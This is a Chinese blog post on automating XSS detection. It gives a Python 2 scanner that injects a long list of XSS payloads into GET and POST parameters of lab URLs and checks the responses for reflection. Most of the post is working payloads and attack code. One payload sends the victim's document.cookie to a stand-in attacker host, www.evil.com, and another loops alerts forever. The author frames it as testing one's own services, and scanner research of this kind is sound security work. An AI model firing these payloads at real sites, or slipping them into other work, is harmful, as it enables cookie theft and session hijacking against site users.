关于自动化xss漏洞盲打

0x01 原因


只要你面试安全开发,妥妥的问的问题就是一些常规的漏洞检测技术,其中xss算是一类吧,而且绝对问的。每次都会有人问这个问题,我也没次都需要一个个解答。刚好想总结下自己的工作,so,把这块的一些东西弄出来分享下。

0x02 技术


XSS的类型在这我就不展开来讲,主要讲关于自动化测试的这块。

  • v1.0 传统的测试方式比较简单,就是http请求测试,直接请求url,post的直接将参数拼接,构造payload,然后请求就ok了。这个版本没啥可说的,基本上大家都知道。
  • v2.0 的版本是基于ajax的请求,将页面完全加载完后,模拟操作执行。这个比较有意思,之前在wooyun上,小伙伴就经常问针对ajax应该怎么做。在360的面试里面,当时那个负责人提供的方法是基于webkit做调用,但是测试的结果是,有一定的概率会卡住。so,这个我默认放弃。而我选择用的方式,是基于无浏览器的方式来进行。相对来说比较好,在centos的服务器上,我挂了一个,然后无差别的去测试自己的业务,结果挺理想的。(分享一个案例代码,根据自己的需要,融合到自己的扫描器就好)

0x03 coding


#coding:utf-8
 
import random , requests , copy ,urlparse, urllib , pprint
 
_random=str(random.randint(300,182222))
 
# XSS规则
XSS_Rule = {
    "script":[
            "<script>alert("+_random+");</script>",
            "<script>alert('XSS');</script>",
            "<script>location.href=\"http://www.evil.com/cookie.php?cookie=\"+escape(document.cookie)</script>",
            "<scr<script>ipt>alert("+_random+");</scr</script>ipt>",
            "<script>alert(String.fromCharCode(88,83,83))</script>",
            "\"><script>alert("+_random+")</script>",
            "</title><script>alert(/"+_random+"/)</script>",
            "</textarea><script>alert(/"+_random+"/)</script>",
            "<? echo('<scr');echo('ipt>alert(\""+_random+"\")</script');?>",
            "<marquee><script>alert('"+_random+"')</script></marquee>",
            "<script language=\"JavaScript\">alert('"+_random+"')</script>",
            "\"><script alert(String.fromCharCode(88,83,83))</script>",
            "\'\">><script>alert('"+_random+"')</script>",
            "<script>var var="+_random+";alert(var)</script>", 
            "<?='<SCRIPT>alert(\""+_random+"\")</SCRIPT>'?>",
            "<scrscriptipt>alert("+_random+")</scrscriptipt>",
            "</script><script>alert("+_random+")</script>",
            "'\"></title><script>alert("+_random+")</script>",
            "</textarea>\'\"><script>alert(document.cookie)</script>",
            "'\"\"><script language=\"JavaScript\">alert('XS');</script>",
            "</script></script><<<<script><>>>><<<script>alert("+_random+")</script>",
            "<html><noalert><noscript>alert("+_random+")</script>",
            "}</style><script>a=eval;a=eval;b=alert;a(b(/"+_random+"/.source));</script>",
            "<SCRIPT>document.write(\""+_random+"\");</SCRIPT>",
            "='><script>alert(\""+_random+"\")</script>",
            "<body background=javascript:'\"><script>alert(navigator.userAgent)</script></body>",
            ">\"><script>alert(/"+_random+"/)</script>",
            "\"></title><script>alert("+_random+")</script>",
            "</div><script>alert("+_random+")</script>",
            "\"></iframe><script>alert("+_random+")</script>",
            "'></select><script>alert("+_random+")</script>",
    ],
    "img":
    [
            "<img src=foo.png onerror=alert(/"+_random+"/) />",
            "<IMG SRC=\"jav&#x09;ascript:alert('"+_random+"');\">",
            "<IMG SRC=\"jav&#x0A;ascript:alert('"+_random+"');\">",
            "<IMG SRC=\"jav&#x0D;ascript:alert('"+_random+"');\">",
            "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
            "<IMG LOWSRC=\"javascript:alert('"+_random+"')\">",
            "<IMG DYNSRC=\"javascript:alert('"+_random+"')\">",
            "<img src=\"javascript:alert('"+_random+"')\">",
            "<IMG SRC='vbscript:msgbox(\""+_random+"\")'>",
            "\"<marquee><img src=k.png onerror=alert(/"+_random+"/) />",
            "\"<marquee><img src=k onerror=alert(/"+_random+"/) />",
            "'\"><marquee><img src=k.png onerror=alert(/"+_random+"/.source) />",
            "<img src=\"javascript:alert(\""+_random+"\")\">",
            ">\"><img src=\"javascript:alert('"+_random+"')\">",
            "\"/></a></><img src=1.gif onerror=alert("+_random+")>",
            "window.alert(\""+_random+"\");",
    ],
    "iframe":
    [
        "<iframe<?php echo chr(11)?>onload=alert('"+_random+"')></iframe>",
        "\"><iframe src='javascript:alert(document.cookie)'></iframe>",
    ],
    "marquee":
    [
        "'>><marquee><h1>"+_random+"</h1></marquee>",
        "\'\">><marquee><h1>"+_random+"</h1></marquee>",
    ],
    "attr-style":
    [
        "<font style='color:expression(alert(document.cookie))'>",
        "<div style=\"x:expression((windows.r==1)?\":eval('r=1;alert(String.fromCharCode(88,83,83));'))\">",
        "<div style=\"background:url('javascript:alert("+_random+")')\">",
        "\" style=\"background:url(javascript:alert(/"+_random+"/))\"",
        "</br style=a:expression(alert())>",
    ],
    "event":
    [
        "<body onunload=\"javascript:alert('"+_random+"');\">",
        "<body onLoad=\"alert('"+_random+"');\">",
        "\" onfous=alert(document.domain)\"><\"",
        "\"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\""+_random+"\")>",
        "<body onLoad=\"while(true) alert('"+_random+"');\">",
        "<SELECT NAME=\"\" onmouseover=alert("+_random+")></select>",
        "'\"></title><font color=red onmouseover=javascript:alert(1337)>"+_random+"</font>",
    ],
    "meta":
    [
        "<META HTTP-EQUIV='refresh' CONTENT='0;url=javascript:alert(/"+_random+"/');\">",
        "<META HTTP-EQUIV='refresh' CONTENT='0;URL=http://;URL=javascript:alert(/"+_random+"/);'>",
    ],
    "base":
    [
        "<BASE HREF=\"javascript:alert('"+_random+"');//\">",
    ],
    "frameset":
    [
        "<FRAMESET><FRAME SRC=\"javascript:alert('"+_random+"');\"></FRAMESET>", 
    ],
    "other":
    [
        "[url=javascript:alert('"+_random+"');]click me[/url]",
        "[color=red' onmouseover=\"alert('"+_random+"')\"]mouse over[/color]",
        "[color=red width=expression(alert("+_random+"))][color]",
    ]
}
 
# 链接拼接(针对get)
def _init_get_url(url_group,rules,check_group):
    for _url_item in url_group:
        url_node = urlparse.urlparse(_url_item)
        uquery = url_node.query
        url_parse = _url_item.replace('?'+uquery, '')
        query_dict = dict(urlparse.parse_qsl(uquery))
 
        for rule_item in rules.keys():
            for _rule in rules[rule_item]:
                for parameter_item in query_dict.keys():
                    tmp_dict = copy.deepcopy(query_dict)
                    tmp_dict[parameter_item] = _rule
                    tmp_qs = urllib.unquote(urllib.urlencode(tmp_dict)).replace('+','%20')
                    check_group.append({'action':url_parse+"?"+tmp_qs,'input':None,'method':'get','regex':_rule})
 
# 请求拼接(post)
def _init_from_url(url_dict,rules,check_group):
    # 遍历所有的请求
    for url_dict_item in url_dict:
        # 遍历所有的规则
        for rule_group in rules.keys():
            input_dict = {}
            for rule_item in rules[rule_group]:
                for input_item in url_dict_item['input']:
                    input_dict.update({input_item:rule_item})
                check_group.append({'action':url_dict_item['action'],'input':input_dict,'method':url_dict_item['method'],'regex':rule_item})
                input_dict = {}
 
# 直接请求
def request_do(url,_data,_regex):
    TIMEOUT=5
    _bool = False
    try:
        if _data is not None:
            req = requests.post(url,data=_data,timeout=TIMEOUT)
        else:
            req = requests.get(url,timeout=TIMEOUT)
        req_result = ''.join(req.content.split('\n'))
        if req_result.find(_regex) != -1:
            _bool = True
    except Exception, e:
        return _bool
    return _bool
 
# 测试规则
def xss_check(check_group):
    for target in check_group:
        if target['method'].lower() =='get':
            if request_do(target['action'],None,target['regex']):
                print "[*][GET] Find XSS: %s" % target['action']
        elif target['method'].lower() == 'post':
            if request_do(target['action'],target['input'],target['regex']):
                print "[*][POST] Find XSS: %s,Parameter: (%s)" % (target['action'],str(target['input']))
 
# 拼接请求
def opurl():
    check_group = []
    _init_get_url(['http://10.211.55.7/search/search.php?lang=cn'],XSS_Rule,check_group)
    _init_from_url([{'action':'http://10.211.55.7/b.php','input':['bfname','blname'],'method':'post'}],XSS_Rule,check_group)
    xss_check(check_group)
 
 
 
if __name__ == '__main__':
    opurl()
    # run("http://10.211.55.7/b.php",['bfname','blname'])
    # run("http://10.211.55.7/search/search.php?key=dede&x=24&y=11&lang=cn")
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,271评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,275评论 2 380
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,151评论 0 336
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,550评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,553评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,559评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,924评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,580评论 0 257
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,826评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,578评论 2 320
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,661评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,363评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,940评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,926评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,156评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,872评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,391评论 2 342

推荐阅读更多精彩内容

  • 本博客转自:「作者:若愚链接:https://zhuanlan.zhihu.com/p/22361337来源:知乎...
    韩宝亿阅读 2,744评论 0 3
  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 171,387评论 25 707
  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 9,023评论 0 16
  • 标题:Mood Indigo 芳心之歌 原文地址:http://archiveofourown.org/works...
    111避难所阅读 382评论 0 0
  • 雨后的薄荷,散发着的气息 如此沁人心脾 我是那么在乎那个竹篮,它是个好东西 可以装满薄荷 可以打一篮空水 也可以装...
    一言尔阅读 144评论 0 0